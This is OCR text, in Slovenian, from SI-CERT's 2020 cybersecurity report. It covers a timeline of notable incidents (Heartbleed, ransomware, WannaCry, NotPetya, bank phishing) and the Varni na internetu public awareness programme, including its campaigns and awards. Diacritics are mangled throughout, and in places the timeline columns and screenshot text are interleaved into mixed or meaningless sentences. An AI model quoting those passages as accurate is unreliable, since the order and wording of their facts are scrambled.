prejmemo nagrado za najboljSe letno
porocilo in nepri¢akovano tudi veliko
nagrado za projekt leta na podrocju
vsebinskega marketinga.
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Leto zaznamuje ranljivost Heartbleed v knjiznici
OpenSSL. Ranljivih je okoli 3 % spletnih streznikov

v Sloveniji. Napadi z odbojem se preselijo na protokol
NTP. Izsiljevalski virusi postanejo moc¢nejsi in Sifrirajo
podatke uporabnika. Sirijo se preko laznih radunov

v nemskem jeziku po elektronski posti.

Stevilo okuzb z izsiljevalskimi

virusi doseze vrhunec z vec¢ kot

40 prijavami primerov na SI-CERT
v enem samem mesecu. Razli¢ice se
vrstijo po teko¢em traku, SI-CERT
pa postane partner Europolovega

Sodelujemo na Cyber Europe 2014 in NATO vaji projekta nomoreransom.org. Blagajne
Cyber Codlition 14. Pri¢nemo z usposabljanjem v lokalih z dodatkom, ki omogoca
pripadnikov Slovenske vojske za namene izdajo fiskalnih ra¢unoy, so ranljive
odzivanja na kibernetske groznje in incidente. in nekdo vdre v njih in priéne od tam
Prebijemo mejo 2000 obravnavanih incidentov. razposiljati nezazelena sporoéila.

2014 » 2015 » 2016 »

Takoj januarja se pri¢ne

do sedaj najbolj dolgotrajen
“phishing” napad na komitente
Sestih bank v Sloveniji.
Ocenjujemo, da je bilo poslanih
okoli 100.000 laznih sporodil
in postavljenih okoli 40 laznih
kopij spletnih mest bank.
Teden dni oviramo storilce,
nakar ti obupajo in se usmerijo
na druge drzave.

Jeseni mine 20 let od prve
prijave incidenta na SI-CERT.
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Okuzbe izsiljevalskih virusov se preselijo iz
individualnih uporabnikov na podjetja. Steviléno

jih je manj, zato pa so odkupnine obd&utno visje.

Gre za ciljane napade, kjer se pogosto izkoris¢a
nezasciten dostop preko Windows Remote Desktop
protokola. Podjetja so tudi zrtve direktorske prevare
(CEO Fraud) in vrivanja v poslovno komunikacijo
(BEC, Business Email Compromise).

Po vecletnem usklajevanju in preigravanju razli¢nih
scenarijev, kako organizirati odzivanje na kibernetske
groznje v drzavi, je v Drzavnem zboru brez glasu proti
sprejet Zakon o informacijski varnosti, ki udejanja
evropsko direktivo NIS. SI-CERT je po tem zakonu
nacionalna CSIRT skupina. Istega leta stopi v veljavo
Splo$na uredba o varstvu podatkov (GDPR).

2017 » 2018 » 2019 »

Svet pretrese izbruh ¢rva WannaCry, Izsiljevalski virus Ryuk okuzi

ki izrablja metode iz razkritega arzenala postaje na omrezju Lekarn
ameriSke agencije NSA. Prizadete so Ljubljana in povzro&i resne
Stevilne britanske bolnisnice. Kmalu zatem motnje v delovanju poslovalnic,
»udari« $e NotPetyaq, inicialni vektor okuzbe vodstvo ocenjuje nastalo

je zlorabljena ukrajinska programska Skodo na vec kot 2 milijona
oprema za davéna porocila M.E.Doc. evrov. Zaposleni na razli¢nih
Konec leta zaznamuje vdor v informacijski bankah v Sloveniji so taréa
sistem slovenske druzbe NiceHash, ciljanega napada z zlonamerno
ponudnika platforme za nakup in kodo. Na SI-CERT s pomocdjo
prodajo ra¢unske mo¢i za rudarjenje pridobljenih evropskih sredstev
kriptovalut. Ukradenih je ve¢ kriptovalut nadgrajujemo infrastrukturo

v protivrednosti 70 milijonov evrov in laboratorij za preiskovanje
po takratnem tecaju. Na SI-CERT Skodljive kode.

obravnavamo tudi vdore v streznike z

namenom ilegalnega rudarjenja kriptovalut.
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» 2020

Leto se zaéne s priznanjem Ambasador
zasebnosti, ki nam ga podeli Urad
informacijskega pooblaséenca. Jeseni mine
25 let od pric¢etka delovanja SI-CERT in

10 let od snovanja programa ozaveséanja
Varni na internetu, naérte za slovesnost

zmoti pandemija COVID-19. V prvem valu

so taréa DDoS napadov platforme za uéenje
na daljavo, jeseni pa pride val izsiljevalskih
napadov na banke v Sloveniji, te jih uspesno
prebrodijo v sodelovanju s SI-CERT in internet
operaterji. Trojanec Emotet je najbolj razsirjena
zlonamerna koda, s katero se ukvarjamo

to leto. Prenovimo obe spletisci (cert.si in
varninainternetu.si) ter uvedemo noviénik

za strokovno javnost: SI-CERT Odziv.
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Nacionalni

program
ozavescanja

o informacijski
varnosti

Varni na internetu




Sirimo svoje znanje
in aktivnosti

Program Varni na internetu smo leta 2011 zasnovali
z namenom ozavescéanja in izobrazevanja odraslih
spletnih uporabnikov o varni uporabi interneta

in prepoznavanju tveganj. Na SI-CERT ze leta
ugotavljamo, da se uporabniki obra¢ajo na nas z
zelo konkretnimi vprasanji in tezavami, velik delez
obravnavanih incidentov pa Se vedno predstavijajo
spletne goljufije in phishing prevare. Zaupanje v
programske resitve nas pred taksnimi zlorabami
ne bo obvarovalo, edina resitev je izobrazevanje
spletnih uporabnikov.

Pri tem je osrednjo vlogo prevzel portal
wwwyvarninainternetu.si, kjer je trenutno najveéja

zbirka gradiv in nasvetov s podroéja informacijske
varnosti ter opisov spletnih goljufij v Sloveniji. Spletni
uporabniki najdejo na portalu ve¢ kot 480 prispevkoy,
ki so lahko v pomo¢ pri zasciti spletne identitete,
naprav in nenazadnje tudi banénega ra¢una. Ravno
financna korist je namreé¢ najpogostejsi motiv, ki stoji za
varnostnimi incidenti. Vsebine programa so namenjene
cisto vsem, ki se povezujejo vinternet doma, na poti ali
v sluzbi. Problematike naslavljajo predvsem uporabnike,
starejSe od 25 let, sqj ta populacija ze uporablja storitve
spletnega banénistva in tudi opravi najvedji delez
spletnih nakupov. Pomembni prejemniki nasih sporogil
so tudi zaposleni v manjsih podjetjih, saj opazamo,

da napadi na podjetja in visina finanéne skode

y VARNI
NA INTERNETU

Od mene je odvisno vse.

vztrajno naraséata. Poseben poudarek namenjamo
komunikaciji s spletnimi uporabniki, ki jih naslavljamo
prek razli¢nih kanalov. Na druzbenih omrezjih prakti¢no
vsakodnevno objavljamo vsebine (nasvete in opozorila)
ter odgovarjamo na vprasanja uporabnikov. Prav tako
sprejemamo vprasanja in prijave zlorab prek prijavne
tocke na spletnem portalu wwwyvarninainternetu.si,

ob zaznanih groznjah Sirsih razseznosti pa pripravimo
obvestila in odgovore za medije.

V letu 2020 smo prejeli tudi ve¢ vabil za delavnice,

kjer bi program Varni na internetu oz. pristop, kako

smo zastavili naso strategijo ozaveséanja na podroéju
informacijske varnosti, delili s strokovnjaki iz tujine.
Ceprav na daljavo, smo izvedli serijo izobrazevanj za
CERT skupine Zahodnega Balkana in delili svoje izkusnje
iz prakse. Na veédnevni delavnici smo predstavili svoj
pristop k ozaves&anju na podroc&ja kibernetske varnosti
ter v mesecu kibervarnosti izvedli vabljeno predstavitev
na konferenci SWITCH Awareness-Day, ki jo organizira
Svicarska akademska mreza.

Nacionalni program ozaveséanja Varni na internetu je e ena izmed zakonsko opredeljenih nalog,
ki jih izvajamo na odzivhem centru SI-CERT. Ozaves§éanje javnosti na podroéju informacijske

varnosti je opredeljeno v 5. to¢ki drugega odstavka 28. ¢lena ZInfV, SI-CERT pa naloge izpolnjuje
skozi §tevilne aktivnosti programa Varni na internetu. Vse izpeljane aktivnosti so v celoti
financirane s sredstvi Uprave Republike Slovenije za informacijsko varnost (URSIV).
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Leto, ko se je zivljenje
preselilo na splet

Pandemija koronavirusa je ¢ez no¢ spremenila nase
zivljenjske navade ter Se pospesila digitalizacijo
zivljenja. Nase delovno okolje, nakupovanje in
komunikacija so se preselili na splet, kar so (kot
vedno do sedaqj) s pridom izkoristili tudi spletni
goljufi.

Problematike, ki smo jih v sklopu programa Varni
na internetu obravnavali v letu 2020, so bile moéno
povezane s porastom spletnega nakupovanja in
zlorabami na druzbenih omrezjih. Nakupovanje se
je v ¢asu pandemije skoraj popolnoma preselilo na
splet, zaradi ¢esar smo zabelezili rekordno stevilo
prijav laznih spletnih trgovin in poskusov phishing
kraje kreditnih kartic. Goljufi so kot po teko¢em
traku postavljali lazne spletne trgovine in jih selili iz
ene na drugo domeno. Uporabnike pa so premamili -
ter opeharili - z norimi popusti izdelkov znanih tujih
in domacih znamk.

Spletni goljufi so skokovito rast spletnih nakupov
izkoristili e na eni fronti. Tekom leta smo

#KLJUCNIKI LETA 2020

obravnavali ve¢ valov spletne prevare, v kateri so
goljufi izrabili ime in podobo dostavnih podjetij (DHL,
Posta Slovenije) ter na vecje stevilo naslovov poslali
laZzno elektronsko sporocilo o prispelem paketu.

Pod pretvezo, da morajo uporabniki doplacati Se
stroske dostave, so jih poskusali prepri¢ati v vnos
podatkov kreditne kartice in jih okrasti tudi

za ve¢ kot 1.000 evrov!

Do podatkov kreditnih kartic pa so se goljufi
poskusali dokopati tudi s pomocjo laznih nagradnih
iger na Facebooku. V veé¢ primerih so ukradli
identiteto znane osebe in organizirali »nagradno
igro« z bogatimi nagradami. Sodelujoce so nato
pozvali, da za prevzem nagrade vpiSejo podatke
kreditne kartice, s ¢imer so se uporabniki narodili
na neko trivialno storitev z meseéno narocnino.

Na omenjene incidente smo se odzvali z azurnim
obveséanjem uporabnikov na vseh nasih kanalih,

h katerim smo dodali tudi Instagram, v namen
izobrazevanja pa smo posneli tudi novo video serijo.

Phishing, kreditna kartica, lazna spletna trgovina,
kripto prevara, Facebook nagradne igre

8
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Hitra finta
za vecjo varnost

Video je v zadnjih postal najucinkovitejsi nacin za
doseganje uporabnikov na druzbenih omrezjih in tudi
najlazji ter najhitrejsi nacin za predajanje informacij.
Leta 2017 smo posneli naso prvo video serijo na
temo kibernetske varnosti »Sola prezivetjac, ki se ji
je leto kasneje pridruzila e »Kaj je zadaj?« V obeh
je v glavni vlogi nastopal voditelj in videobloger
JozZe Robeznik, ki je na humoren nacin predstavil
najpogostejSe spletne prevare in zagate ter nasvete,
kako se jim izogniti. Obe seriji sta med uporabniki
pozeli veliko zanimanja, zato smo se odlo¢ili, da v
2020 posnamemo novo serijo »Hitra finta«.

Ker so se spletne navade in formati od 2017 precej
spremenili, smo se v skladu s trendi tudi mi odlo¢ili
za malce drugacéen format spletne serije. Opazili
smo, da video vsebine postajajo vse krajse in bolj
dinamiéne, zato smo za Hitro finto izbrali kratke
napotke, ki jih lahko predamo v najveé eni minuti.

Pri ustvarjanju vsebin smo se vnovi¢ oprli na
vprasanja in tezave uporabnikov ter naslovili teme,
ki jih v preteklosti §e nismo obravnavali. V sklopu
video serije smo se ponovno povezali z znanim
obrazom TV ekranov Jozetom RobeZnikom, ki je
postal ze prepoznaven lik v nasih videih. V sklopu
serije smo posneli kar 20 kratkih video nasvetoy,
ki smo jih delili na nasih druzbenih kanalih.

DOBRO GES
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Evropski mesec kibernetske varnosti -

pomisli, preden kliknes!

Evropski mesec kibervarnosti (angl. European
Cyber Security Month) je vseevropska
kampanja ozaves$c&anja, ki jo s podporo drzav
¢lanic organizirata Agencija Evropske unije za

kibernetsko varnost (ENISA) in Evropska komisija.

Kampanja 2020 je kot vsako leto potekala v
mesecu oktobru, tokrat pa je bila zaznamovana
z varnostnimi vpra$anji v zvezi z digitalizacijo
vsakdanjega Zivljenja. S sloganom »Think Before
U Click« - »Pomisli, preden kliknes!«, so zeleli
organizatorji kampanje uporabnike spodbuditi,
naj se ustavijo in premislijo, preden kliknejo,

saj lahko tako prepoznajo in preprecdijo

Stevilne spletne prevare.

KIBERNETSKE
VARNOSTI

=S
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Prva tema meseca kibervarnosti je obravnavala
kibernetske goljufije, druga pa se je osredotodila
na digitalne spretnosti. Slovenija je ze deveto
leto zapored sodelovala v vseevropski iniciativi
z nacionalnim programom ozave§éanja Varni

na internetu. Spletne uporabnike smo v oktobru
opozarjali na razliéne spletne goljufije na
inovativen nacin, in sicer s spletno skeé

oddajo »Splet nakljuéij«.

Skupaj z gosti iz sveta stand-up komedije smo
tekom $tirih epizod spletnim uporabnikom prikazali
razli¢ne spletne prevare, ki jih lahko doletijo na
internetu. Kampanja se je zaradi okoliséin v vecini
odvijala na druzbenih omrezjih, oglasevanje

pa je potekalo tudi na nacionalnem radiu Radio
Slovenija in komercialni radijski postaji Radio 1.

S spletno kampanjo, ki je potekala na druzbenih
omrezjih Facebook in Instagram ter video
platformi YouTube, smo dosegli veé¢ kot milijon
uporabnikov, epizode pa so na druzbenih
platformah nabrale skupno pol milijona ogledov.

ALES HOWAK

SA50 STARE




o 24L6.767 video ogledov
25.688 uporabnikoy, ki so pogledali cel video

f 26.857 video ogledov
L14.462 dosezenih uporabnikov

/O- 524.363 ogledov
264.513 dosezenih uporabnikov

S1-Ccert2s /] Poroéilo o kibernetski varnosti // 2020 // 59




Prenova spletne strani www.varninainternetu.si
in nov komunikacijski kanal

Razvoj informacijske druzbe je prinesel vedje Opazili smo, da nasa spletna stran ni prinasala
Stevilo spletnih uporabnikov, novih spletnih zeljenih rezultatov, saj so imeli uporabniki tezave
storitev in posledi¢no tudi porast spletnih z iskanjem informacij. Da bi uporabnikom olajsali
goljufij in prijav, ki jih na nas naslovijo spletni orientacijo na nasi spletni strani, smo se odlogili
uporabniki. Spodbujanje spletnih uporabnikov k za celovito prenovo spletnega mesta. Za vecdjo
prepoznavanju in prijavi nevarnosti je prineslo preglednost in lazjo navigacijo smo nase vsebine
odlicen uvid v tezave, s katerimi se srecujejo. razporedili v §tiri rubrike in prevare organizirali
Velik dotok informacij in primerov iz prakse nam v tematske sklope, tako da lahko uporabniki

je omogodilo ustvarjanje kakovostnih vsebin, ¢im hitreje najdejo odgovor za svojo tezavo.

ki te teZzave tudi ustrezno naslovijo. Tekom let
se je na nasi spletni platformi nabralo ve¢
kot 480 novic in prispevkov z varnostnimi
napotki, ki pa uporabnikov niso dosegale

v taksni meri, kot bi si zeleli.

S prenovo smo zeleli predvsem izboljSati uporabnisko
izku$njo in uporabnikom zagotoviti ¢im hitrej$o
pomo¢, obenem pa zmanj$ati obseg dela

za naso majhno ekipo zaposlenih.

,@ VARNI
MA INTERNETU PREVARE NASVET ROVICE IAPOOMTA  oRaDWa O

NAJPOGOSTEJSE TEZAVE, S KATERIMI SE SOOCAJD SPLETHI UPORABNIKI
W 13 i0 M0 S0 VRS0 P Ml 0 RN {Rari,

TUJE PODJETJE i“EI. ZALJUBILA SEM SE N/
REGISTRIRATI VASO DOMENO PLETU

b WS LAHND NABITTE # WA LAMR NARTDITE

BAJNI ZASLUZKI S LAZNO IZSILJEVANJE Z

KRIPTOVALUTAMI - KAJ JE

& S LA mARICTE A LAMKG HAREETE

ALI LAHKO ZAUPAM SPLETNImS KREDITI PREK SPLETA
RGOVINI? A ——

P A LAHNSD MARERITE

IMAM DRUGO TEZAVO

.

60 // Poroéilo o kibernetski varnosti // 2020 // S1-Ce€Ir't 25


http://www.varninainternetu.si

Ceprav je program Varni na internetu Ze skoraj desetletje prisoten na druzbenih omrezjih Facebook,
Twitter in YouTube, smo ugotovili, da se velik del nase ciljne, predvsem mlajse publike nahaja tudi na
Instagramu. V zelji, da bi z nasimi aktivnostmi ozavescanja dosegli Se tisti del uporabnikov, ki ostala
omrezja ne uporablja tako pogosto, smo se junija 2020 pridruzili tudi druzbenemu omrezju Instagram.

-
: KAJ NAJ NAJPREJ NAREDIM,
CE PRIDE DO ZLORABE KREDITNE KARTICE
PRI SPLETNEM NAKUPU?
K

| privlatne Zenske, izbere izzivalno profilno fotografijoin [
s koketiranjem sku3aizbrano Zrtev éimprej pripraviti do
deljenja osebnih pudatk-:w in Intimnlh fotografij.

s

KIBERSLOVAR RS

'”"’“’-'9

KAJ JE SEXTORTION? & 1”4 “Z

Izsiljevanje z intimnimi fotografijami oz. posneﬁ:l
poznamo tudi pod izrazom sextortion. Gre za spletno
prevaro, katere priljubljena taréa so odrasli uporabniki
moskega spola. lzsiljevalec prevzame vlogo mlade

Na nasem profilu vsak mesec
predstavimo drug tip spletnih prevar
ter z uporabniki delimo nasvete, kako
se pred njimi zas¢ititi in kaj narediti,
¢e postanejo Zrtev goljufov. Poleg
vnaprej doloéenih tematik uporabnike
opozarjamo tudi o aktualnih prevarah
in jih izobraZzujemo o svetu kibernetske
varnosti z rubrikama »Kiberkviz« in
»Kiberslovar«.
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V zbirko smo dodali

tri nove nagrade

Program Varni na internetu ze

skoraj desetletje dviguje zavedanje

o pasteh in nevarnostih, ki smo jim
izpostavljeni na internetu. Nas trud
na podroc¢ju ozaveséanja o kibernetski
varnosti je bil letos nagrajen

s tremi nagradami.

Cisto na za&etku leta smo

ob Evropskem dnevu varstva
osebnih podatkov prejeli nagrado
»Ambasador zasebnosti« Urada
informacijskega pooblas¢enca.
Ta pojasnjuje, da »SI-CERT

ze vrsto let s svojimi aktivnostmi
ozave$€anja opozarja na

varno rabo interneta in
elektronskih omrezij ter pomaga
organizacijam, ki so se znasle

v tezavah zaradi virusov in
drugih ra¢unalniskih zagat.

Z odmevnimi akcijami, kot je
»Varni na internetu«, pomagajo
tako posameznikom kot
organizacijam k varni uporabi
sodobnih tehnologij, s tem pa
dvigujejo tudi ozaveséenost

o varstvu osebnih podatkov

in zasebnosti. «

Nasa spletna stran, ki smo jo
postavili v sklopu kampanje za
Evropski mesec kibervarnosti
2019 je prejela nagrado Netko
v kategoriji »Naj spletna stran
za druzbeno odgovornost«. Z
nagrado Netko Gospodarska
zbornica Slovenije in Register.
si nagrajujeta najboljse spletne
projekte podjetij, ustanov,
uradov in posameznikov,

ki domujejo na domeni .si.
Nagrada Netko je odli¢je
danasnjim digitalcem, ki delajo
in ustvarjajo »online«, z njo pa
zelijo organizatorji podpirati
domacde spletne projekte, razvoj,
ustvarjalnost in domiselnost
ustvarjalcev ter hkrati
spodbujati uporabo nacionalne
domene .Sl
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Varni na internetu je slavil tudi s
Slovensko veliko nagrado varnosti
in sicer za najboljsi strokovni
prispevek s podro¢ja korporativne
varnosti. Slovenska velika
nagrada varnosti je najvedja
nagrada s podrodja varnosti v
Sloveniji, ki se podeljuje izbranim
institucijam in posameznikom,

za njihov inovativni prispevek na
podroc¢ju razvoja in uveljavljanja
varnosti. Nagrado v Sestih
kategorijah podeljuje Institut za
korporativne varnostne $tudije

v sodelovanju s Slovenskim
zdruzenjem korporativne
varnosti. Neodvisna komisija se
je odlogila, da v tokratnem izboru
za najboljsi strokovni prispevek
na podro¢ju varnosti pogleda
daljSe obdobje in oceni aktivnosti
izvajalcev, ki so s svojim prispevki
na podrogju varnosti pomembno
sooblikovali strokovni prostor

v Republiki Sloveniji.
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